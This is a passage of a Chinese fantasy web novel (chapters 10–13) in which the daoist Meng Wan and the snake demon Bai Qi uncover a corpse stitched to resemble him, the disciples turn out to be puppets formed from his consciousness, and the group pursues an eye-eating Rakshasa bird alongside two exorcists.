每每在梦境里思及师尊是一个心如铁石之人,他便觉空气逐渐稀薄,呼吸不畅,连意识也随之变得恍惚。
白绮一直在观察孟纨的神情,他谈及师尊时微微蹙着的眉眼,提及梦境时泛红的细长眼尾。
她突然想起幻境中.出现的其余几人,遂出声问他:“孟道长,幻境里的白鹤羽翅,你识得是什么妖物吗?少年与渠儿,又是谁?”
渠儿,幻境中那名稚子。
孟纨回过神来看向白绮,略显迟疑,“并无头绪。”
白绮开始胡乱猜测:“幻境里的渠儿与少年,哪一个是你?既是你的梦境与记忆,其中定有一人是幼时的你。”
孟纨缓缓摇头,仍是毫无头绪。
比起白绮的疑问,他比较在意的是,白绮的形容与梦境或幻境里师尊渐渐远离的背影过于相似,以至于出幻境后他将白绮看作是师尊。
孟纨思忖片刻,仍是心存疑虑,遂开口问白绮:“你当真对幻境里发生的事无印象?”
“孟道长,你这是怀疑我——是幻境里出现的师尊吗?”
思及先前孟道长把她当作“师尊”,在她怀里哭得梨花带雨的模样,白绮并未遮掩,直白地将孟纨的疑虑说出口。
孟纨闻言,先是一怔,随后而来的便是因被戳破心事而霎时染上面颊的一层薄红,他垂眸沉吟半晌,却未否认。
“是。”不只是幻境中,甚至在梦境里也是如此,那人的背影过分熟悉,时刻萦绕在他睡梦中,也如烙印一般铭刻在他心底。
“我没有印象的事,那便不是了。”白绮肯定道,旋即瞥见孟纨面上渐渐笼上遗憾与失落,是因为她并非孟道长魂牵梦萦的师尊?
孟纨心底沉了沉,颇觉失落。此事过于蹊跷,并非一时半刻能探查清楚。
他闭了闭眼,勉力平复心绪,不再纠结于梦境与现实,旋即换了话茬,“白鹤羽翅,应是罗刹鸟。”
“罗刹鸟?”白绮满眼疑云,她未曾听闻此类妖物。
孟纨细致地解释:“相传墟墓间太阴,积尸之气,久化为罗刹鸟,如灰鹤而大,能变幻作祟,好食人眼,亦药叉、修罗、薜荔类也。”①
“难怪在幻境中,白鹤羽翅刻意提及那名稚子的眼睛长得水灵呢!原来是把他当作储备粮。”
孟纨略一颔首,旋即转身离开阵法中心,在巨石阵外站定身形。
他抬眼看向悬浮在阵法中心的三个徒弟,身体呈半透明状的徒弟们看上去动也不动,已是奄奄一息。
白绮紧随着孟纨的步伐离开巨石阵,只见他自腰间抽-出白玉短剑,利刃出鞘,划破左手十指指尖,鲜血霎时间喷涌而出。
左手食指与中指并拢,抵在下颌,遂启唇轻声念咒。顷刻之间,指尖淋漓的鲜血渐渐汇聚成一条细长如缎带的血雾,蜿蜒着飞向阵中,血雾逐渐将巨石阵层层围住。
孟纨双眼微阖,念咒未停,血雾范围逐渐缩小,直至将阵中的四个身影紧紧缚住。
阵法周围黑雾缭绕,悬浮于阵法中心的身影像是疼痛难耐,猛将开始挣扎,旋即坠落在地,巨石阵爆裂开来,无数石块四下飞散,阵法随之被毁。
孟纨沾染鲜血的指尖逐一虚点在三个徒弟眉心,呈半透明状的人影自眉心开始,逐渐恢复鲜活的肉.体。
与他的徒弟们一齐被困阵中的那具尸首却毫无反应,确是一具了无生气的尸体,面部呈青紫色,看不真切形容。
孟纨停止念咒,指尖鲜血淅淅沥沥滴落,尚未有动作,忽见白绮身形一动,朝他面前探来。
白绮伸手扣住孟纨仍在滴血的手指,身形缓缓往前靠近,腥甜的血腥味扑面而来,她把孟纨的指尖抵在唇边,明显感觉到孟纨的手倏地往后一缩。
白绮手上力道极大,孟纨的指尖抵在她唇边
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动也不动,她倏地探出舌尖,那是属于小白蛇的信子。
舌尖轻柔地探上孟纨白净而有力的手指,细细舔舐指尖上被利刃划破的皮肤,伤口霎时间愈合如初。
“白绮……”孟纨僵在原地,半晌未能作出反应,顿觉心尖泛起阵阵细细密密的痒意,也像是针尖扎过皮肉一样清晰的刺痛。
白绮一头银发耀眼得直叫他头晕目眩,他一时间竟有些分不清身处幻境,或是梦境。
不敢置信,也不敢奢望,眼前的光景竟是现实。
“孟道长,我——不是你师尊。”白绮抬手指向自己,明媚的眸子里闪烁着狡黠的光芒,她早已洞穿了孟纨的心事。
一语惊醒梦中人,孟纨猛地收回被白绮舌尖舔舐过的左手,抵在后背,顿觉指尖酥麻一片,白绮唇齿间冰凉的余温久久未曾散去。
孟纨心神恍恍惚惚,不由的怀疑白绮的舌尖有剧毒。
“孟道长,不必担心,我不是毒蛇。”白绮自以为很贴心地,轻轻拍了一下孟纨手臂,出言安抚他。
孟纨不敢承认,也不愿承认,脱离幻境后亲见白绮的形容与梦境中师尊的背影过分相似,他竟是错把白绮当作梦境中人,悲从中来,不受控地拥着她泪如雨下。
“孟道长,‘追本溯源’能让妖物幻化人形吗?”白绮带着疑惑的声音将孟纨的思绪从沉到梦境与记忆的混乱中抽离。
是了。
白绮打破幻境,两人回到现实之后,孟纨始终心神不定,并无多余的心思顾及除却师尊以外的人或事。
却是忘了,小白蛇破壳而出后,原本只在夜间变幻人形,今日却在出幻境后,白昼里也能够维持人形。
古阵法——追本溯源,当真有此等奇效?
孟纨的潜意识里,“追本溯源”乃一种古老的阵法,能够唤醒尘封已久或不堪承受的痛苦记忆。
他却不知“追本溯源”还能够击破封印本身,教被封印之物恢复自身能力?
念及于此,孟纨忽然觉察出似乎哪里不太对味,白绮早在从赤水海里脱身时,禁锢在她身上的封印便已解除。
妖力相对恢复较慢,故而一直维持着小白蛇的形态。故而,墓地中的古老阵法并未对白绮产生任何影响。
“你对太仓山可有印象?”孟纨突然问道。
白绮不解其意,摇了摇头,如实回答:“并无印象,只听得念卿与少翁提起过。”
孟纨心底疑云重重,他与白绮相继在赤水海里醒来,昔日一行人误入迷阵后身陷太仓山,今日幻境中复又出现太仓山……
这一切,或许并非巧合。
白绮与他,可能皆是与传闻中凭空消失的太仓山渊源颇深。
沧海桑田。
早已被世人遗忘的太仓山,很有可能并非凭空消失,而是,因某种缘故被夷为平地,早已沉入赤水海底不见天日。
事关赤水海,孟纨心底有个念头呼之欲出。
然而,可能是白绮距离他太近了,一头银白发丝过分晃眼从而干扰了他的头绪,也可能是幻境中-出现的那抹身影影响了孟纨的情绪。
总之,他逐渐露出些苗头的思绪仿佛笼罩在一片缭绕的云雾当中,看不真切裹挟其中的真相究竟是什么。
“师父,这人……”念卿刚一睁眼,便被躺在身旁的一具尸体骇得连滚带爬,一迭声惊呼,“这具尸体……为何与你长得如此相似?!”
闻言,白绮瞥了眼那具躺在地上死得不能再死的死尸,只见原本面色青紫的尸体看上去像是睡着了一样,煞白着一张脸。
待看清死尸的面容,白绮不由的心中一惊,何止相似,简直是一模一样!只是右眼皮少了两点朱砂印记。
11. 第 11 章
“师父,这这……是人……还是鬼啊?”念卿颤颤巍巍望着眼前与孟纨宛若双生的死尸,一句完整的话都说不出来。
孟纨举步上前,在仰面躺地的尸首跟前站定身形,右手食指与中指并拢虚抵在死尸眉心位置,遂轻声念咒。
半晌过后,笼罩着浓郁腐尸气味的尸体开始出现变化,原本还算光滑的一张脸渐渐显露出密密麻麻的针线缝合过的痕迹。
白绮仔细打量那张满是裂缝的脸,眼皮上确是没有与孟纨一样的红色印记。
死尸的面部缝合痕迹尤为明显,一张脸皮由数块大小不一的皮肉.缝合而成。确切来讲,并非只是面部,尸首赤身裸.体并无衣物遮挡,看上去就像是被肢解后再缝合拼凑出一具完整的尸体。
场面一度十分诡异。
什么人会把属于不同人类的残肢缝合起来?
少翁与慕心刚睁眼醒来,看看捂住腹部吐得满身狼藉的念卿,再看向地上那具诡异的尸体,霎时怔在原地。
“孟道长,这具尸首看上去并不完整,应是从不同的人身上割掉肢体或是皮肤,再缝合而成。”说罢,白绮也觉头皮发麻,不由的心惊。
孟纨未及回应,倏闻刚止住呕吐的念卿咋咋呼呼地道:“我知道,一定是那只……那只大灰鹤。”
闻言,白绮抬眸朝孟纨看去,两人颇有默契地对视一眼,彼此心领神会。
孟纨的视线扫过三个徒弟,正色道:“你们为何被困在此地?”
“师父,哇……”念卿话未说完,便呜呜咽咽,泣不成声。
慕心对念卿怒视了一眼,应道:“师父,前日.你们前脚刚走,一只硕大的灰鹤便突然凭空出现,却不攻击人,只顾仰着头往前跑,我们遂将一路追赶,结果……”
“结果怎样……”白绮追问道。
少翁讪讪一笑,“尚未追出去几里地,我们就被一团黑雾困住,再一睁眼,便见到师父……见到你们了。”
蛮蛮曾为了对付孟纨而设计将他的徒弟们引走,不难看出,三个徒弟遇上的灰鹤羽翅并非真正的罗刹鸟,而是蛮蛮设下的幻境,为着混淆视听。
白绮挪回孟纨身边,低声同他确认:“孟道长,他们遇到的灰鹤,并非我们在幻境里看见的罗刹鸟,对吗?”
孟纨颔首,予以肯定。
“孟道长,此事可能与你渊源颇深呢。”她的视线犹如芒刺般钉在孟纨面上,孟纨略感不自在,遂微微侧过身去,没再说话,算是默认了。
“师父……”念卿突然走到孟纨面前,瞪着他嘴角看了半晌,目光炯炯,“师父,你的嘴巴,怎么……”
话未说完,便被慕心一把扯住衣领往后拽去,甚至板起面孔瞪了他一眼。
念卿如堕云雾中,一时间未能反应过来自己哪句话又说错了。
白绮瞥了眼一脸茫然的念卿,察觉到孟纨的徒弟们神色突然变得有些古怪,少翁眼神闪烁,欲言又止;慕心板起面孔,目不斜视。
她像是想起了什么似的,饶有兴味地看向孟纨的唇角,白绮不由的一错愕,顿觉不能责怪念卿一副没见过大世面的反应。
孟纨如樱桃般濡湿莹润的薄唇,竟是被她连掐带咬折腾得红肿淤青,更有淅淅沥沥的血珠渗出来。
白绮指尖微动,动作轻柔地拭去孟纨唇角挂着的一滴血珠,“孟道长,疼吗?”她关切地问孟纨。
孟纨一时有些无措。他在三个徒弟面前素来是沉稳的长辈;在徒弟们心目中更是清心寡欲的师父,何曾如今日这般被徒弟们撞见狼狈不堪的形容。
他抬手将白绮停在他唇边的手指拂开,轻咳一声,强作镇定,“无碍。”
白绮怔怔地望着孟纨的神情,心下一动,孟道长竟是也有如此惹人恋爱的时候。
“是我不好,下手没轻没重。”
三个徒弟原本只是心下有所疑虑,或许并未朝不可描述的方向去想,忽闻白绮这话,徒弟们思路逐渐发散,一发不可收拾。
“小白蛇,你对师父做了什么?”念卿忿忿然,堪称榆木脑袋。
白绮眨了眨眼,双手一摊,作无辜状,“我能做什么?我只是好心给孟道长疗伤。”
“疗伤?”念卿似乎想到了什么,煞白的一张脸逐渐变得绯-红。
念卿这个榆木疙瘩,慕心不由的一蹙眉。
少翁乐呵呵地笑了两声,意图拉回逐渐跑偏的场面,“小白蛇有疗伤奇效,我们都是知道的。”
知道什么?知道……慕心眉心蹙得愈发深刻。
白绮如释重负,“对呀,我不仅会疗伤,孟道长还曾说我有安眠奇效呢。”
自从得知自己有如此厉害的奇效,白绮心下颇觉得意,此刻她忍不住便要说出来炫耀一回。
“啊?”念卿仿佛听见了什么了不得的惊天秘事,“师父这样同你说的?”
少翁与慕心犹如看傻狍子一般看着念卿不言语。
念卿先是一愣,旋即瞪圆了眼珠子,像是终于开窍了,绯.红着一张脸讪笑着垂下了头。
白绮见三个徒弟眼神复杂,言行怪异,念卿更是觑眼偷偷看她,一时有些不解。
她探寻的眸光朝孟纨探去,便见孟纨一副欲言又止的神情。
“孟道长,你怎么啦?”
孟纨轻轻叹了口气,试图说服自己,白绮只是一条涉世未深的小白蛇,不能对她要求太高。
“你今后,勿要多言。”话一出口,却是商量的语气。
见孟纨神情复杂,又是委婉的语气,白绮适才恍然大悟,“明白,孟道长,往后我不告诉他们,只私下和你说。”
她心情愉悦,手指安抚似的轻轻捏了捏孟纨指尖。
孟纨抽回手,思绪渐渐沉到远处,白绮,或许正是频繁出现在他梦境里的师尊。
她因故被封印在某个地方——可能是太仓山,因而在赤水海底沉睡了不知多少载春秋。
孟纨不记得与师尊有关的任何事与人,也不记得他与师尊之间究竟有何种纠葛。
在现世醒来以后,却每日夜里在梦境中看着师尊的背影哭得撕心裂肺,
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仿佛曾被师尊弃之如敝履。
他被神识不清的白绮强硬地凌-辱时,心底被不安与害怕占满。却在经历了幻境中的往事后,内心抑制不住地想要靠近白绮。
白绮究竟是不是频频出现在梦境里的师尊?
孟纨希望答案是肯定的,他愿意去相信,也本能地相信。
纵然依据只是师尊与白绮皆有一头银发,与形容过分相似的背影,实际上这也称不上是依据。
白绮的视线始终落在孟纨面上,只见他时而神色恍惚,时而充满希冀,时而又失落难过……却不知他具体在想些什么。
“孟道长,这具尸首怎么处理?”白绮倏然出声,猛将孟纨沉到了无比久远的思绪拉回现实。
“烧了。”孟纨淡声道。
“烧了!师父,不带回赵员外家吗?”念卿好奇问道。
白绮转过身去面向念卿,“死尸身上可能只有某一个身体部.位属于赵公子。”
“啊……”念卿骇得连退数步,“小白蛇,你……你这话什么意思?”
白绮意味深长地扫了一眼孟纨,“意思是,这具尸首可能是照着孟道长的皮相缝合而成。”
说话间,便见孟纨指尖燃起一簇泛着冷光的火焰,“滋啦”一声,烈焰蹿了出去。那具形容与孟纨几乎一模一样的尸首霎时被火蛇吞噬。
烈火燃尽,孟纨伸手捧起一小捧骨灰,装进一枚小巧精致的荷包,放入怀中。
“师父?”别说素来胆怯的念卿一时不敢动弹,便是少翁与慕心,此刻也因白绮的话而怔在原地。
白绮见孟纨的三个徒弟满眼错愕,遂将与他们分开后发生的事娓娓道来,颇有些善解人意的意思。
“……事情便是这样了。定是有人,也可能是妖物,痴恋孟道长而不得,终于丧心病狂……”
“遂将逐月城中容貌与孟道长相似的年轻男子相继抓走,再把他们身体上与孟道长有相似之处的部.位逐一切割掉,再缝合在一起,拼凑出一个全新的孟道长。”
“当真是惨无人道啊,这……这是寻常凡人能做得出来的事情吗?”念卿听得起了满身鸡皮疙瘩,后背蓦地泛起阵阵刺骨寒凉。
“并非是人。”孟纨出言解释,“乃妖物所为。”
白绮与孟纨先后透露的信息,足以让三个徒弟明了逐月城中年轻貌美的男子失踪的真实缘由,皆是大受震撼与不解。
“师父,我有一事不明。”念卿缓过神来,一肚子皆是疑惑,“其一,为何我们在密林中会误入幻境?”
慕心:“妖物为捕捉猎物,事先在密林中布下阵法。”
“原来是这样啊。”念卿连连点头,“其二,我们怎么从幻境里出来的?”
“‘赵如星’出现,破阵,出幻境。”孟纨言简意赅。
三个徒弟顿时明白过来。
“他竟是破阵的关键!”
少翁双手背在身后,来回踱步,“师父,误入迷阵后,我们为何会出现在太仓山?太仓山与作祟的妖物,或是我们,有何渊源?”
12. 第 12 章
“太仓山……”孟纨像是尚未想好应如何回应,停顿片刻,才听他继续道,“误入迷阵后会出现在太仓山,应是与白绮,或我的来历有关。”
念卿听得似懂非懂,忍不住发问:“师父,这能有什么牵连?”他一抬眼,便见少翁与慕心皱了皱眉,并用一种堪称复杂的眼神斜乜着他。
他先是一愣,旋即仿佛想起什么似的,讪讪一笑,“我……我忘了。”
白绮见孟纨的徒弟们言行愈发怪异,心中有些不解,“你们三个为何支支吾吾的?”
孟纨的视线扫过三个徒弟,落在白绮身上,斟酌着道:“我记忆有损,不记得从前的事,他们也会受此影响。”
闻言,白绮突然想起先前在山洞中,孟纨曾同她谈及傀儡的来历。
孟纨记忆有损会影响到他的三个徒弟,他也能隔空感应到徒弟们的安危……他的徒弟们,或许正是他曾提及过的傀儡。
他们是由什么东西异化而成的?孟纨身体的某个部.位,或是,他心中某些念头所化?
白绮努力在脑海中搜索,她曾近乎将孟纨看个精.光,并未发现他身体上有所缺失,也未察觉到他精神或心智失常。
相处的这段时日,不难看出孟纨记忆有损,此刻听孟纨如是说,白绮便知并非仅仅是“有损”那般简单,或许正如她曾猜测的一样,孟纨当真记忆全无。
孟纨可能也曾同她一样,被困于某个地方不知多少岁月,在现世醒来不久。
“孟道长,太仓山,或许能找到答案。”她虽不知此地在何处,却是印象深刻。
孟纨颔首,肯定了白绮的说法。在他心底若隐若现的一个念头逐渐变得清晰起来,近日来发生的事皆在说明,一切因果皆有可能源于太仓山。
孟纨心下琢磨,待眼前之事告一段落,再前往赤水海一探究竟,或许能够寻回失去的记忆。
他与白绮之间的渊源很快便会有眉目。
“孟道长,罗刹鸟究竟是不是因你之故,最终魔怔了,才会干出这些丧尽天良的事来?”白绮突然凑到孟纨面前,略一倾身,歪着头盯着孟纨的眼睛。
距离太近了,孟纨能清晰地感觉到白绮冰凉的呼吸轻轻扫在他脸颊上,激起层层细密痒意。
他背后是石壁,退无可退,只得微微仰首,下颌方不至于抵上白绮凑上前来的鼻尖。
孟纨顿觉呼吸有些紊乱,心脏也不听使唤地加快了跳动的节奏,“我如何得知。”
他竟是有些气急败坏。
白绮眸中泛起狡黠的光芒,她轻笑一声,“孟道长,你这个态度,罗刹鸟知道了会很伤心的。”
孟纨一时竟不知如何回应,“白绮……”
他默然了,便再也没有作声。
白绮哪里肯就此放过他,稍稍踮起脚尖,距离孟纨的脸颊更近了,“孟道长,难道是因你始乱终弃,罗刹鸟才会如此丧心病狂?”
“你是当真好奇?或是故意捉弄我。”孟纨忍无可忍,白绮呼出的气息悉数扑在他面上,几欲叫他在徒弟们面前乱了分寸。
三个徒弟此刻整整齐齐地站成一排,后背贴着石壁,目不斜视,仿佛看不见师父正被一条初涉人世的小白蛇步步紧逼,逼得无路可退。
白绮眨了眨眼,面露无辜,“孟道长,我当真不知你与罗刹鸟曾有过何种恩怨纠葛,好奇心作祟罢了。”
孟纨垂眸看她,将信将疑。
白绮凑到孟纨颈侧,鼻尖擦着颈侧皮肤轻轻一嗅,“孟道长身上有奇异的香气吸引我,在赤水海畔的时候我便察觉到了。”她神色认真得过分,不像是随口一提。
三个徒弟面面相觑,各有惊异之状:有吗?
他们跟随师父数百年,从未觉察到。
白绮这话倒是提醒了孟纨,他昔日在赤水海畔将白绮带走,她并未表现出不情愿,遑论反抗。他早该有所察觉,却因心底若隐若现的杂念而忽略了此细节。
倘或当真如白绮所言,她留在自己身边是因他身上独有的香气,这似乎有些说不通,他并非妖物,不会魅惑之术,何来异香一说。
“何种香气?”他问。
白绮微微蹙眉,认真地思忖半晌,“并非寻常的花香或是脂粉香气,你身上有一股强大的吸引力,那股力量是带有香味的。”
三个徒弟听得云里雾里,散发出香味的一种力量?颇难理解。
孟纨打量她片刻,确认白绮并非是信口开河,胡乱拿话搪塞他,便愈发确信白绮在他身上闻到的香气有可能来自他心底的杂念。
这个发现教孟纨平静的内心起伏不定。
白绮与他之间定是有某种紧密的联系,故而,白绮能从嘈杂的人群中认出他来,认出他身上特有的香气。
他小心翼翼地维持着表面的冷静,将袍袖举至眼前,轻轻一嗅,哪有什么香气?
孟纨对她提及的香气不知情,白绮并不意外,也未感到诧异。孟纨可谓是记忆全无,何曾记得她描述得云里雾里的奇异香气。
“孟道长,你的嘴巴还在流血呢!”
她一抬手,纤细指尖轻轻划过孟纨唇角,“你唇上的伤其实也不能全然怪罪于我,那时候你抱着我哭得极为伤心,一跌声唤我师尊,我总得把你唤醒吧。”
孟纨一噎,神色复杂,“白绮……”
孟纨的三个徒弟仿佛听到了什么“徒弟不宜”的言辞,一齐背过身去面壁,纷纷抬手捂住了耳朵。
非礼勿视,非礼勿听。
“孟道长,以后不许叫我师尊,梦里也不行,我会不高兴的。”白绮松开孟纨,煞有其事地和他商量,实则也算不得商量,只是她单方面嘱咐孟纨。
孟纨没有说话,他的目光似被耀眼的银发吸引,久久停留在上面舍不得移开视线。
眼前之人可能是梦境中教他魂牵梦萦的师尊,不知由于何种缘故,他丢失了从前的记忆,也不记得师尊。
那抹身影却像是铭刻进骨子里一般教他难以忘怀,连呼吸一下都带着隐隐的钝痛。
孟纨手指微微蜷起,虚抚上白绮的头顶,却终究
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没有触碰白绮。
“孟道长,罗刹鸟是墓地尸气聚集所化,蛮蛮所说的主人大概也是罗刹鸟。”
白绮思绪转得飞快,眨眼间,便回到先前谈及的话题,“不知是否与幻境里那只罗刹鸟有牵连。”
孟纨回神,掩饰似的轻咳一声,“应是同一只。”
蛮蛮屡次提及主人只把他们变幻的人形当作别人的替身,更对孟纨心存诸多怨恨,不难看出,出现在幻境里的罗刹鸟与逐月城内作祟的实属为同一只。
逐月城中美貌少年失踪一事,确是因他而起,罗刹鸟因某种执念四处搜罗与他有相似之处的人。
其目的究竟是什么,孟纨并无头绪,至于是否如白绮猜测的那般——有关男女之情,他却不那么认为。
白绮思来想去,心底有诸多杂乱的念头忽明忽暗。她突然变得有些兴奋,意识到一直被他们忽略的一件事,“孟道长,逐月国国师对罗刹鸟作祟一事当真不知情吗?”
她这话算是说到点子上了。
国师奉国主之命为百姓祈福,不可能没有法术傍身,更不可能对此全然不知情。
究竟是睁一只眼闭一只眼,或是有更大的阴谋。
“哗啦啦,哗啦啦……”一阵潺潺流水声突然从墓地尽头传来,像是有人穿梭于水幕中。
孟纨抬手轻轻按住白绮肩膀,低声道:“别动。”
“那是什么声……”白绮小声儿问,余下的话被孟纨白净有力的手指抵住唇齿堵了回去,她旋即屏住呼吸。
“谁在那里?”与孟纨的声音同时响起的,是念卿中气十足的一嗓子,声音之洪亮,足以打破再度陷入一片沉寂的墓地。
紧接着传来一阵杂乱无章的步履声,很快便渐行渐远,直至消失无踪。
白绮舌尖轻轻一探,飞快扫过孟纨抵住她唇缝的纤长指节。
孟纨顿觉手指似被针扎了一般,猛地收回手,退开数步距离,眼神复杂地看一眼白绮。只见她面上浮现出得意的神色,一副坏事得逞的狡黠之意几欲溢出表面。
孟纨收回视线,并未作声,他转身便朝发出异响的方向走去。白绮紧跟其后,变幻成小白蛇落在他肩上。
三个徒弟尚不明事态,忙不迭举步跟上前去。
墓地尽头是一面光滑的石壁,眼见躲在暗处的人影从石壁穿行而过,石壁竟是犹如水幕一般破开一条豁口,发出“哗啦啦”的流水声。
那人钻进去之后,石壁上的裂口自行合拢,恢复原状。
白绮见状,不由的一惊,“孟道长,怎么回事?”
孟纨径直走到石壁前,那人影经过的地方,地面上流淌着淅淅沥沥的新鲜血迹。
他并未耽搁,伸手探上石壁,顿觉有潮水拂面,也像是置身迷雾之中。
三个徒弟亲见师父带着小白蛇消失在石壁之后,心急如焚,旋即加快步伐往前跑去。
然而,事与愿违,孟纨的徒弟们直楞楞地撞上石壁,发出“砰砰砰”三声巨响,身形猛地往后仰,重重地摔倒在地。
13. 第 13 章
“孟道长,你的徒弟们呢?”白绮回首看时,身后除却他们穿行而过的石壁,不见人影。
孟纨停下步伐,转身的刹那,忽闻身后传来一阵破空声,他身形一跃,躲开泛着泠泠冷光的剑光。
一个修长人影恰好落在他先前立身的位置。
“道士?与蛇妖搅作一团,当真是稀奇!”一道轻柔却不失揶揄的声音同时传来。
白绮在对方落地时已变幻成巨蟒挡在孟纨身前,待看清眼前之人,却有些不敢确定对方身份。
她迟疑着道:“罗刹鸟?”
之所以不能够确定对方身份,是因偷袭孟纨的乃一名二十岁出头的年轻女子,着一袭朱红色衣衫,肩上扛了一柄长枪。眉宇间透着凌厉之气,实在不像是她先入为主所认为的名为“罗刹鸟”的妖物。
红衣女子一抬下巴,眼风带着腾腾杀气朝白绮扫来,“什么罗刹鸟?你这妖物,看仔细了,我可是个活生生的人。”
闻言,白绮稍微放松警惕,巨蟒化作人形站在孟纨身旁,“孟道长……”她抬眸看向孟纨,一时不知对方是敌是友。
孟纨颔首示意她无妨,转而对眼前的红衣女子道:“这位姑娘,可曾见到一名受伤的女子经过?”
红衣女子眼神中含有敌意,将两人上下打量着,“见过,我小师弟追上去了。怎么,你们不是一伙的?”她面色不善,像是有些诧异。
白绮先是一怔,旋即回过味来,此人竟是将她与孟纨当作是罗刹鸟的同伙儿了。
“误会。逃走那人作祟多年,我们特来捉拿她。”
“哈哈哈……”红衣女子仿佛听闻一个天大的笑话,捧腹笑个不停,“一介妖物,也学凡人行善事?!”
这话说得……白绮深吸一口气,忍了!
“你究竟是谁?”她问。
“啧……”红衣女子翻了个白眼,神色看上去有些不耐烦,“行不更名,坐不改姓,驱魔师南箴是也。”
“……”白绮一噎,这人……她一时竟是无言以对。
罢了,不与她啰唆,毕竟对方是驱魔师,而她是蛇妖。避免冲突,不宜树敌。
孟纨无意放任两人继续无意义地拌嘴,及时出言提醒:“南箴姑娘,先捉拿逃走的妖物要紧。”
“无妨,我小师弟不会失手。”南箴大剌剌地往地上一坐,从怀里抽出一块布巾来,一面拿余光打量两人的动向,一面细细擦拭手中那柄长枪。
白绮却持有怀疑态度,眼前之人言行浮夸,看上去不太靠谱,却不便直言,旋即将视线从南箴身上移开。
“孟道长,你的徒弟们怎么办?”
孟纨朝南箴一揖,随即转身离开,穿过石壁回到墓地,便见三个徒弟形似热锅上的蚂蚁,急得团团转。
“师父!”念卿甫一见到返回墓地的孟纨便直接扑上前来,简直是两眼泪汪汪。
白绮:“你们怎么不跟着出去?”
三个徒弟听见来自白绮的灵魂发问,纷纷抬起头来盯着她不说话。
白绮适才看清他们三个高高肿起的额头,以及念卿鼻梁上蹭掉了好大一块皮,淅淅沥沥渗出鲜血来。
“我们出不去,全撞石壁上了。”念卿吸了吸鼻子,像是疼得厉害。
白绮心有疑虑,她与孟纨前脚刚穿过石壁,他的徒弟们却出不去,其中莫非有什么诀窍?
“孟道长,他们为何出不去?”
孟纨思忖半晌,似乎意识到了什么,他与白绮先后皆能穿过石壁,三个徒弟却直直撞了上去。
通过石壁是有条件的,而条件是——
“你们,再去试。”孟纨吩咐徒弟们。
三个徒弟先是一愣,旋即举步往石壁走去,小心翼翼地试探着伸出一只手,果不其然,石壁仍是坚硬的石壁,他们依然出不去。
围观全程的白绮都惊呆了,好奇心驱使她再次伸手探去,毫无悬念,她探出去的那只手如淋浴在水幕下,顺利穿行而过。
“师父,这是为何?”素来冷静的慕心已不再冷静。
孟纨敛眉,肯定道:“有实体之物方能通过。”
“实体之物?”白绮捕捉到了重点,“孟道长,你的三个徒弟没有实体吗?”
果真如她曾猜测的一样,孟纨的徒弟们确是傀儡。白绮却不能够确定,他们三个的来历。
“傀儡并无实体。”孟纨并未隐瞒。
三个徒弟老老实实地跟在孟纨身后,不言不语。
白绮心下了然,也难免好奇,遂问:“孟道长,他们怎么才能出去?”
只见孟纨自腰间取出白玉短剑,利刃划破左手食指指尖,鲜血淋漓而出,冒血的指尖逐一点在徒弟们眉心。
孟纨轻声诵咒,却听不真切具体在念些什么。片刻后,三个徒弟的身体逐渐变得透明,最终只剩下像是白雾一样的虚影。
人形白雾渐渐汇聚成一团拳头大小的雾气,随着孟纨念咒语的声音逐渐变小直至停止,徒弟们汇聚成的白雾悉数吸附在孟纨眉心的位置,旋即消失不见。
白绮望见孟纨缓缓睁开眼,有些震惊,“孟道长,这样便能带他们出去吗?”
见孟纨点了点头,白绮没藏住好奇心,又问:“孟道长,你的徒弟们,是由什么异化成的?”
孟纨无意隐瞒,如实回答:“意识。”
果然!
她的猜测没错。
孟纨的徒弟们皆不是人,全是由他的意识所化。
但白绮有些疑惑,孟纨看上去心智正常,按理说脑海里的意识被抽离,甚至不止一星半点,应是会缺心眼儿吧。
“那……他们现在是回到你的意识里了?!”听起来太不可思议了。
“是。”
两人再次穿过石壁,忽见原本坐在地上擦拭长枪的南箴站起身来,她朝白绮一挑眉,“不用猜就知道,你们一定会回来的。”
“师姐,师姐……”一名身形颀长的白衣少年跌跌撞撞地跑到南箴面前。
尚未站稳身形,便被南箴猛地一巴掌拍在他后脑勺,“你号丧啊!号得我耳朵疼,妖怪呢?”
少年十七八岁模样,圆脸肤白,一双讨喜的杏眼眨了眨,委委屈屈地应道:“师姐,我打不过她,她啄我眼睛,你瞧!”
说着便撩起袖子,将手臂伸到南箴眼前让她看伤口,“幸好我眼疾手快,抬起胳膊挡住了脸。”
白绮瞥了眼他手臂上一条细长的豁口,视线移到南箴身上,忍不住揶揄,“不是说不会失手吗?这看上去伤得还挺重。”
南箴复又朝她翻了个白眼,难得没有接茬。小师弟耷拉着脑袋,有气无力地站着,她看着又是气不打一出来。
白绮算是知道了,这位南箴姑娘喜好翻白眼,不论遇到何种状况,先行翻
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个白眼要紧。
“究竟怎么回事?”白绮问。
南箴的小师弟像是才望见除却师姐以外的两人,赶忙自报家门:“驱魔师温霆玉,是南箴师姐的小师弟。”
“孟纨。”孟纨颔首,“方才的妖物往哪个方向去了?”
“这……我不知道。”温霆玉有些不好意思,面色红了红,“我和她斗得正酣,突然起大雾了。待浓雾散尽,妖物却不见了,只见两条黑漆漆的岔路。”
“孟道长,追吗?”白绮转身回到孟纨身旁。
孟纨应了声,“分开追。”
一行人兵分两路,根据温霆玉给的提示去追受伤后逃走的罗刹鸟,很快便又碰头了。
“怎么回事,我们这是迷路了吗?”南箴抬手扇风。
六月间天气,众人周身笼罩着腾腾热气。
闻言,白绮想起眼前的情形与先前在密林中遇上的颇为相似,众人始终在同一个地方绕圈子。
“孟道长,这是不是罗刹鸟布下的迷阵?”
孟纨还未作声,南箴一手扛起长枪,面露不悦,“可恶!我最是痛恨这些使幻术的妖物了,真有本事出来单挑啊!”
“师姐,别生气。”温霆玉抬手轻轻拍了拍她肩膀,连声安抚,侧首看向白绮,“别见怪,师姐嫉恶如仇,她以前……”
话没说完,复又被南箴一巴掌拍在后脑勺,“就你话多。”
温霆玉也不躲,只抬手捂住频频挨打的后脑勺,痛觉还未消失,隐约听得不远处的树林里便传来一阵鬼哭狼嚎。
“救命啊!救命啊!”像是有人一路跑得上气不接下气。
众人各显神通,迅速找到求救声的来源处。
一个浑身血污的中年男人连滚带爬地往前跑,蓬头垢面,衣衫褴褛,形容极其狼狈。
孟纨扣住他手臂,将人提起来站稳,“何事如此慌张?”
“妖怪……妖怪吃人……吃人眼睛。”逃命的中年男人余悸未消,声音断断续续的话也难说完整。
他仰起头来,众人才看清他脸上布满深浅不一的撕裂伤,像是被动物爪牙抓伤留下的痕迹。
食人眼睛的妖怪——传闻中的罗刹鸟。
众人问清楚情况,正欲往中年男人说的地方去,一阵笼罩着腐尸气味的黑烟铺天盖地袭来。
一行人仿佛置身于乱葬岗,止不住的捧腹干呕起来。
